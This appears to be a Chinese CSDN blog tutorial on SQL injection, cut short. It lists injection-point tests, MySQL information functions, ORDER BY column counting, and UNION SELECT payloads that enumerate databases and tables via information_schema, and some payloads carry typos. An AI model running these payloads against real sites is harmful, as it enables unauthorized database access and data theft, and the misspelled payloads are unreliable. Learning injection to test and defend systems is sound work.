简单的sql注入语法+盲注。

本文详细介绍了SQL注入的基本概念,包括如何判断注入点、获取数据库信息的方法,如数据库名、用户名、版本等。通过`ORDER BY`确定字段数,并展示了不同情况下的注入绕过策略,如处理整数、字符型数据以及加密注入。最后,文章讨论了SQL盲注技术。
摘要由CSDN通过智能技术生成

数据库注入语法

一.判断是否有注入点

简单如:
and 1=1
and 1=2

二.要搜寻的一些基本信息

数据库名 database()
用户名 user()
数据库版本信息 version()
版本大于5.0,自身带有数据库信息。可以查询用户,表名,列名
操作系统 @@version_compile_os
mysql安装路径 @@basedir
数据库路径 @@datadir
table_name 表名
column_name 列名
table_schema 数据库名
information_schema.tables 记录表名信息的表
information_schema.columns 记录列名信息的表

三.order by 1,2,3 确定字段数

  1. union select database(),user(),version(),@@version_complie_os
    得到:数据库名 用户名 版本 系统信息
  2. union select schema_name,2 from infeomation_schema.schemata
    得到:mysql数据库下的所有数据库名
  3. union select table_name,2 from information_schema.tables where table_schema=’数据库名’
    得到:该数据库下面的所有表名
    union select table_name,table_schema from information_schem
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值